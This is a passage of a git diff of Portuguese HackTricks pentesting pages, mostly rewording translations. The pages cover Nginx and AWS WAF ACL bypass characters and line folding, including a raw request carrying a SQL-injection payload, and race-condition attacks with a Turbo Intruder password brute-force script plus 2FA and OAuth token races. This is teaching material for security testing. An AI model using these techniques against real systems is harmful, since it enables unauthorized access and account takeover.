| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
| --------------- | ----------------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### Flask
|
||||
|
||||
|
|
@ -45,31 +47,31 @@ O Flask remove os caracteres `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
| Versão do Nginx | **Caracteres de Bypass do Flask** |
|
||||
| ------------- | -------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| Versão do Nginx | **Caracteres de Bypass do Flask** |
|
||||
| --------------- | ------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
|
||||
### Spring Boot <a href="#heading-bypassing-nginx-acl-rules-with-spring-boot" id="heading-bypassing-nginx-acl-rules-with-spring-boot"></a>
|
||||
|
||||
Abaixo, você encontrará uma demonstração de como a proteção ACL pode ser contornada adicionando o caractere `\x09` ou no final do caminho:
|
||||
Abaixo, você encontrará uma demonstração de como a proteção ACL pode ser contornada adicionando o caractere `\x09` ou `;` no final do caminho:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (715).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
| Versão do Nginx | **Caracteres de Bypass do Spring Boot** |
|
||||
| ------------- | --------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
| --------------- | -------------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
|
||||
### PHP-FPM <a href="#heading-bypassing-nginx-acl-rules-with-php-fpm-integration" id="heading-bypassing-nginx-acl-rules-with-php-fpm-integration"></a>
|
||||
|
||||
Vamos considerar a seguinte configuração do Nginx FPM:
|
||||
Considere a seguinte configuração do Nginx FPM:
|
||||
```plaintext
|
||||
location = /admin.php {
|
||||
deny all;
|
||||
|
|
@ -94,9 +96,9 @@ location ~* ^/admin {
|
|||
deny all;
|
||||
}
|
||||
```
|
||||
## Bypassando AWS WAF ACL com Line Folding <a href="#heading-bypassing-aws-waf-acl-with-line-folding" id="heading-bypassing-aws-waf-acl-with-line-folding"></a>
|
||||
## Burlando ACL do AWS WAF com Dobra de Linha <a href="#heading-bypassing-aws-waf-acl-with-line-folding" id="heading-bypassing-aws-waf-acl-with-line-folding"></a>
|
||||
|
||||
É possível contornar a proteção do AWS WAF em um cabeçalho HTTP usando a seguinte sintaxe, onde o AWS WAF não entenderá que o cabeçalho X-Query contém uma carga útil de injeção de SQL, enquanto o servidor node por trás entenderá:
|
||||
É possível burlar a proteção do AWS WAF em um cabeçalho HTTP usando a seguinte sintaxe onde o AWS WAF não entenderá que o cabeçalho X-Query contém um payload de injeção SQL enquanto o servidor node por trás entenderá:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
|
|
@ -111,12 +113,14 @@ Connection: close\r\n
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
# Condição de Corrida
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
|
|
@ -10,13 +10,15 @@ Obtenha Acesso Hoje:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda a hackear AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -24,12 +26,12 @@ Obtenha Acesso Hoje:
|
|||
|
||||
O principal problema ao abusar de RCs é que você precisa que as solicitações sejam processadas em paralelo com uma diferença de tempo muito curta (geralmente >1ms). Na seção a seguir, diferentes soluções são propostas para tornar isso possível.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ataque de pacote único (HTTP/2) / Sincronização do último byte (HTTP/1.1)
|
||||
|
||||
HTTP2 permite enviar **2 solicitações em uma única conexão TCP** (enquanto no HTTP/1.1 elas têm que ser sequenciais).\
|
||||
O uso de um único pacote TCP elimina completamente **o efeito do jitter de rede**, então isso claramente tem potencial para ataques de condição de corrida também. No entanto, **duas solicitações não são suficientes para um ataque de corrida confiável** devido ao **jitter do lado do servidor** - variações no tempo de processamento de solicitações da aplicação causadas por variáveis incontroláveis como a contenção de CPU.
|
||||
O uso de um único pacote TCP **elimina completamente o efeito da variação de rede**, então isso claramente tem potencial para ataques de condição de corrida também. No entanto, **duas solicitações não são suficientes para um ataque de corrida confiável** devido à **variação do lado do servidor** - variações no tempo de processamento de solicitações da aplicação causadas por variáveis incontroláveis como a contenção de CPU.
|
||||
|
||||
Mas, usando a técnica de '**sincronização do último byte**' do HTTP/1.1, é possível pré-enviar a maior parte dos dados retendo um pequeno fragmento de cada solicitação e depois 'completar' **20-30 solicitações com um único pacote TCP**.
|
||||
|
||||
|
|
@ -40,7 +42,7 @@ Para **pré-enviar a maior parte de cada solicitação**:
|
|||
|
||||
Em seguida, **prepare-se para enviar os quadros finais**:
|
||||
|
||||
* Espere por 100ms para garantir que os quadros iniciais tenham sido enviados.
|
||||
* Espere 100ms para garantir que os quadros iniciais foram enviados.
|
||||
* Certifique-se de que TCP\_NODELAY está desativado - é crucial que o algoritmo de Nagle agrupe os quadros finais.
|
||||
* Envie um pacote ping para aquecer a conexão local. Se você não fizer isso, a pilha de rede do SO colocará o primeiro quadro final em um pacote separado.
|
||||
|
||||
|
|
@ -50,35 +52,35 @@ Finalmente, envie os quadros retidos. Você deve ser capaz de verificar que eles
|
|||
Note que **não funciona para arquivos estáticos** em certos servidores, mas arquivos estáticos são irrelevantes para ataques de RC.
|
||||
{% endhint %}
|
||||
|
||||
Usando essa técnica, você pode fazer com que 20-30 solicitações cheguem ao servidor simultaneamente - independentemente do jitter de rede:
|
||||
Usando essa técnica, você pode fazer com que 20-30 solicitações cheguem ao servidor simultaneamente - independentemente da variação de rede:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Adaptando-se à arquitetura alvo**
|
||||
**Adaptando-se à arquitetura do alvo**
|
||||
|
||||
Vale ressaltar que muitas aplicações ficam atrás de um servidor front-end, e estes podem decidir encaminhar algumas solicitações por conexões existentes para o back-end, e criar novas conexões para outras.
|
||||
Vale ressaltar que muitas aplicações estão por trás de um servidor frontal, e estes podem decidir encaminhar algumas solicitações por conexões existentes para o back-end e criar novas conexões para outras.
|
||||
|
||||
Como resultado, é importante não atribuir inconsistências no tempo das solicitações ao comportamento da aplicação, como mecanismos de bloqueio que permitem apenas um único thread acessar um recurso por vez. Além disso, o roteamento de solicitações do front-end é frequentemente feito com base em cada conexão, então você pode ser capaz de suavizar o tempo das solicitações realizando um aquecimento de conexão do lado do servidor - **enviando algumas solicitações inconsequentes pela sua conexão antes de realizar o ataque** (isso é apenas enviar várias solicitações antes de começar o ataque real).
|
||||
Como resultado, é importante não atribuir inconsistências no tempo das solicitações ao comportamento da aplicação, como mecanismos de bloqueio que permitem apenas um único thread acessar um recurso por vez. Além disso, o roteamento de solicitações front-end é frequentemente feito com base em cada conexão, então você pode ser capaz de uniformizar o tempo das solicitações realizando um aquecimento de conexão do lado do servidor - **enviando algumas solicitações inconsequentes pela sua conexão antes de realizar o ataque** (isso é apenas enviar várias solicitações antes de começar o ataque real).
|
||||
|
||||
#### Mecanismos de bloqueio baseados em sessão <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
||||
|
||||
Alguns frameworks tentam prevenir a corrupção acidental de dados usando alguma forma de **bloqueio de solicitação**. Por exemplo, o módulo **PHP's native session handler** processa apenas **uma solicitação por sessão por vez**.
|
||||
Alguns frameworks tentam prevenir a corrupção acidental de dados usando alguma forma de **bloqueio de solicitação**. Por exemplo, o módulo de **manipulador de sessão nativo do PHP** processa apenas **uma solicitação por sessão por vez**.
|
||||
|
||||
É extremamente importante identificar esse tipo de comportamento, pois ele pode mascarar vulnerabilidades trivialmente exploráveis. Se você notar que todas as suas solicitações estão sendo processadas sequencialmente, tente enviar cada uma delas usando um token de sessão diferente.
|
||||
|
||||
#### **Abusando de limites de taxa ou recursos**
|
||||
|
||||
Se o aquecimento de conexão não fizer diferença, existem várias soluções para esse problema.
|
||||
Se o aquecimento da conexão não fizer diferença, existem várias soluções para esse problema.
|
||||
|
||||
Usando o Turbo Intruder, você pode introduzir um curto atraso do lado do cliente. No entanto, como isso envolve dividir suas solicitações de ataque reais em vários pacotes TCP, você não poderá usar a técnica de ataque de pacote único. Como resultado, em alvos com alto jitter, o ataque é improvável de funcionar de forma confiável, independentemente do atraso que você definir.
|
||||
Usando o Turbo Intruder, você pode introduzir um curto atraso do lado do cliente. No entanto, como isso envolve dividir suas solicitações de ataque reais em vários pacotes TCP, você não poderá usar a técnica de ataque de pacote único. Como resultado, em alvos com alta variação de rede, o ataque é improvável de funcionar de forma confiável, independentemente do atraso que você definir.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Em vez disso, você pode ser capaz de resolver esse problema abusando de um recurso de segurança comum.
|
||||
|
||||
Servidores web frequentemente **atrasam o processamento de solicitações se muitas forem enviadas rapidamente**. Ao enviar um grande número de solicitações fictícias para acionar intencionalmente o limite de taxa ou recursos, você pode ser capaz de causar um atraso adequado do lado do servidor. Isso torna o ataque de pacote único viável mesmo quando a execução atrasada é necessária.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Para mais informações sobre essa técnica, confira o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
|
|
@ -86,9 +88,9 @@ Para mais informações sobre essa técnica, confira o relatório original em [h
|
|||
|
||||
#### Exemplos de Ataque
|
||||
|
||||
* **Tubo Intruder - Ataque de pacote único HTTP2 (1 endpoint)**: Você pode enviar a solicitação para o **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), você pode mudar na solicitação o valor que deseja forçar bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e depois selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso:
|
||||
* **Tubo Intruder - Ataque de pacote único HTTP2 (1 endpoint)**: Você pode enviar a solicitação para o **Turbo Intruder** (`Extensões` -> `Turbo Intruder` -> `Enviar para Turbo Intruder`), você pode alterar na solicitação o valor que deseja forçar bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e depois selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você for **enviar valores diferentes**, você poderia modificar o código com este que usa uma lista de palavras da área de transferência:
|
||||
```python
|
||||
|
|
@ -131,13 +133,13 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
* Ele também está disponível no **Repeater** através da nova opção '**Enviar grupo em paralelo**' no Burp Suite.
|
||||
* Está também disponível no **Repeater** através da nova opção '**Enviar grupo em paralelo**' no Burp Suite.
|
||||
* Para **limit-overrun**, você poderia simplesmente adicionar **o mesmo pedido 50 vezes** no grupo.
|
||||
* Para **aquecimento de conexão**, você poderia **adicionar** no **início** do **grupo** alguns **pedidos** para alguma parte não estática do servidor web.
|
||||
* Para **atrasar** o processo **entre** o processamento de **um pedido e outro** em etapas de 2 subestados, você poderia **adicionar pedidos extras entre** ambos os pedidos.
|
||||
* Para um RC de **multi-endpoint**, você poderia começar enviando o **pedido** que **vai para o estado oculto** e depois **50 pedidos** logo após ele que **exploram o estado oculto**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Raw BF
|
||||
|
||||
|
|
@ -204,21 +206,21 @@ Existem muitas variações desse tipo de ataque, incluindo:
|
|||
* Avaliar um produto várias vezes
|
||||
* Sacar ou transferir dinheiro em excesso ao saldo da sua conta
|
||||
* Reutilizar uma única solução CAPTCHA
|
||||
* Bypassar um limite de taxa anti-força bruta
|
||||
* Contornar um limite de taxa anti-força bruta
|
||||
|
||||
### **Subestados ocultos**
|
||||
|
||||
Outras RCs mais complicadas explorarão **subestados no estado da máquina** que poderiam permitir que um atacante **abuse** de estados aos quais ele **nunca deveria ter acesso**, mas existe uma **pequena janela** para o atacante acessá-lo.
|
||||
Outras RC mais complicadas explorarão **subestados no estado da máquina** que poderiam permitir a um atacante **abusar** de estados aos quais ele **nunca deveria ter acesso**, mas há uma **pequena janela** para o atacante acessá-lo.
|
||||
|
||||
1. **Prever subestados ocultos e interessantes**
|
||||
|
||||
O primeiro passo é identificar todos os endpoints que escrevem nesse estado ou leem dados dele e, em seguida, usam esses dados para algo importante. Por exemplo, usuários podem ser armazenados em uma tabela de banco de dados que é modificada por registro, edições de perfil, iniciação de reset de senha e conclusão de reset de senha.
|
||||
O primeiro passo é identificar todos os endpoints que escrevem nesse estado ou leem dados dele e, em seguida, usam esses dados para algo importante. Por exemplo, usuários podem ser armazenados em uma tabela de banco de dados que é modificada por registro, edições de perfil, iniciação de redefinição de senha e conclusão de redefinição de senha.
|
||||
|
||||
Podemos usar três perguntas-chave para descartar endpoints que provavelmente não causarão colisões. Para cada objeto e os endpoints associados, pergunte:
|
||||
|
||||
* **Como o estado é armazenado?**
|
||||
|
||||
Dados armazenados em uma estrutura de dados persistente do lado do servidor são ideais para exploração. Alguns endpoints armazenam seu estado inteiramente no lado do cliente, como resets de senha que funcionam enviando um JWT por e-mail - esses podem ser ignorados com segurança.
|
||||
Dados armazenados em uma estrutura de dados persistente do lado do servidor são ideais para exploração. Alguns endpoints armazenam seu estado inteiramente no lado do cliente, como redefinições de senha que funcionam enviando um JWT por e-mail - esses podem ser ignorados com segurança.
|
||||
|
||||
Aplicações frequentemente armazenam algum estado na sessão do usuário. Esses geralmente são um tanto protegidos contra subestados - mais sobre isso mais tarde.
|
||||
|
||||
|
|
@ -228,9 +230,9 @@ Operações que editam dados existentes (como alterar o e-mail principal de uma
|
|||
|
||||
* **Em que a operação é baseada?**
|
||||
|
||||
A maioria dos endpoints opera em um registro específico, que é procurado usando uma 'chave', como um nome de usuário, token de reset de senha ou nome de arquivo. Para um ataque bem-sucedido, precisamos de duas operações que usem a mesma chave. Por exemplo, imagine duas implementações plausíveis de reset de senha:
|
||||
A maioria dos endpoints opera em um registro específico, que é procurado usando uma 'chave', como um nome de usuário, token de redefinição de senha ou nome de arquivo. Para um ataque bem-sucedido, precisamos de duas operações que usem a mesma chave. Por exemplo, imagine duas implementações plausíveis de redefinição de senha:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **Procurar por pistas**
|
||||
|
||||
|
|
@ -240,18 +242,18 @@ Neste ponto, é hora de **lançar alguns ataques RC** sobre os endpoints potenci
|
|||
|
||||
O passo final é **provar o conceito e transformá-lo em um ataque viável**.
|
||||
|
||||
Quando você envia um lote de solicitações, pode descobrir que um par de solicitações iniciais dispara um estado final vulnerável, mas solicitações posteriores sobrescrevem/invalidam isso e o estado final é inexplorável. Neste cenário, você vai querer eliminar todas as solicitações desnecessárias - duas devem ser suficientes para explorar a maioria das vulnerabilidades. No entanto, reduzir para duas solicitações tornará o ataque mais sensível ao tempo, então você pode precisar tentar o ataque várias vezes ou automatizá-lo.
|
||||
Quando você envia um lote de solicitações, pode descobrir que um par de solicitações iniciais desencadeia um estado final vulnerável, mas solicitações posteriores sobrescrevem/invalidam isso e o estado final é inexplorável. Neste cenário, você vai querer eliminar todas as solicitações desnecessárias - duas devem ser suficientes para explorar a maioria das vulnerabilidades. No entanto, reduzir para duas solicitações tornará o ataque mais sensível ao tempo, então você pode precisar tentar o ataque várias vezes ou automatizá-lo.
|
||||
|
||||
### Ataques Sensíveis ao Tempo
|
||||
|
||||
Às vezes você pode não encontrar condições de corrida, mas as **técnicas para entregar solicitações com tempo preciso** ainda podem revelar a presença de outras vulnerabilidades.
|
||||
|
||||
Um exemplo é quando **timestamps de alta resolução são usados em vez de strings aleatórias criptograficamente** seguras para gerar tokens de segurança.
|
||||
Um exemplo é quando **carimbos de data/hora de alta resolução são usados em vez de strings aleatórias criptograficamente** seguras para gerar tokens de segurança.
|
||||
|
||||
Considere um **token de reset de senha que é randomizado apenas usando um timestamp**. Neste caso, pode ser possível **disparar dois resets de senha para dois usuários diferentes**, que ambos usam o **mesmo token**. Tudo o que você precisa fazer é cronometrar as solicitações para que elas gerem o mesmo timestamp.
|
||||
Considere um **token de redefinição de senha que é randomizado apenas usando um carimbo de data/hora**. Neste caso, pode ser possível **acionar duas redefinições de senha para dois usuários diferentes**, que usam o **mesmo token**. Tudo o que você precisa fazer é cronometrar as solicitações para que elas gerem o mesmo carimbo de data/hora.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Para confirmar, por exemplo, a situação anterior, você poderia simplesmente pedir **2 tokens de reset de senha ao mesmo tempo** (usando ataque de pacote único) e verificar se eles são **os mesmos**.
|
||||
Para confirmar, por exemplo, a situação anterior, você poderia simplesmente pedir **2 tokens de redefinição de senha ao mesmo tempo** (usando ataque de pacote único) e verificar se eles são **iguais**.
|
||||
{% endhint %}
|
||||
|
||||
Confira o [**exemplo neste laboratório**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
|
||||
|
|
@ -272,15 +274,15 @@ De acordo com [**este relato**](https://portswigger.net/research/smashing-the-st
|
|||
|
||||
Você também pode conferir [**este laboratório**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) para aprender sobre isso.
|
||||
|
||||
### Estados ocultos do banco de dados / Bypass de confirmação
|
||||
### Estados ocultos do banco de dados / Confirmação de Bypass
|
||||
|
||||
Se **2 escritas diferentes** são usadas para **adicionar** **informações** dentro de um **banco de dados**, existe uma pequena porção de tempo onde **apenas o primeiro dado foi escrito** no banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e **senha** podem ser **escritos** e **depois o token** para confirmar a conta recém-criada é escrito. Isso significa que por um pequeno tempo o **token para confirmar uma conta é nulo**.
|
||||
Se **2 escritas diferentes** são usadas para **adicionar** **informações** dentro de um **banco de dados**, há uma pequena porção de tempo onde **apenas os primeiros dados foram escritos** no banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e **senha** podem ser **escritos** e **então o token** para confirmar a conta recém-criada é escrito. Isso significa que por um pequeno tempo o **token para confirmar uma conta é nulo**.
|
||||
|
||||
Portanto, **registrar uma conta e enviar várias solicitações com um token vazio** (`token=` ou `token[]=` ou qualquer outra variação) para confirmar a conta imediatamente poderia permitir **confirmar uma conta** onde você não controla o e-mail.
|
||||
|
||||
Confira [**este laboratório**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) para verificar um exemplo.
|
||||
|
||||
### Bypass de 2FA
|
||||
### Contornar 2FA
|
||||
|
||||
O seguinte pseudo-código demonstra como um site poderia ser vulnerável a uma variação de ataque de corrida deste tipo:
|
||||
```python
|
||||
|
|
@ -299,11 +301,11 @@ Até aqui, apenas um login comum com google/linkedin/github... onde você é apr
|
|||
|
||||
#### Condição de Corrida em `authorization_code`
|
||||
|
||||
O **problema** aparece quando você **aceita** e automaticamente envia um **`authorization_code`** para a aplicação maliciosa. Então, essa **aplicação abusa de uma Condição de Corrida no provedor de serviço OAuth para gerar mais de um AT/RT** (_Token de Autenticação/Token de Atualização_) a partir do **`authorization_code`** para sua conta. Basicamente, ela abusará do fato de você ter aceitado a aplicação para acessar seus dados para **criar várias contas**. Então, se você **parar de permitir que a aplicação acesse seus dados, um par de AT/RT será deletado, mas os outros ainda serão válidos**.
|
||||
O **problema** surge quando você **aceita** e automaticamente envia um **`authorization_code`** para a aplicação maliciosa. Então, essa **aplicação abusa de uma Condição de Corrida no provedor de serviço OAuth para gerar mais de um AT/RT** (_Token de Autenticação/Token de Atualização_) a partir do **`authorization_code`** para sua conta. Basicamente, ela abusará do fato de você ter aceitado a aplicação acessar seus dados para **criar várias contas**. Então, se você **parar de permitir que a aplicação acesse seus dados, um par de AT/RT será deletado, mas os outros ainda serão válidos**.
|
||||
|
||||
#### Condição de Corrida em `Refresh Token`
|
||||
|
||||
Uma vez que você tenha **obtido um RT válido**, você poderia tentar **abusar dele para gerar vários AT/RT** e **mesmo que o usuário cancele as permissões** para a aplicação maliciosa acessar seus dados, **vários RTs ainda serão válidos**.
|
||||
Uma vez que você tenha **obtido um RT válido**, você poderia tentar **abusar dele para gerar vários AT/RT** e **mesmo que o usuário cancele as permissões** para a aplicação maliciosa acessar seus dados, **vários RTs ainda serão válidos.**
|
||||
|
||||
## **RC em WebSockets**
|
||||
|
||||
|
|
@ -319,20 +321,22 @@ Em [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC
|
|||
|
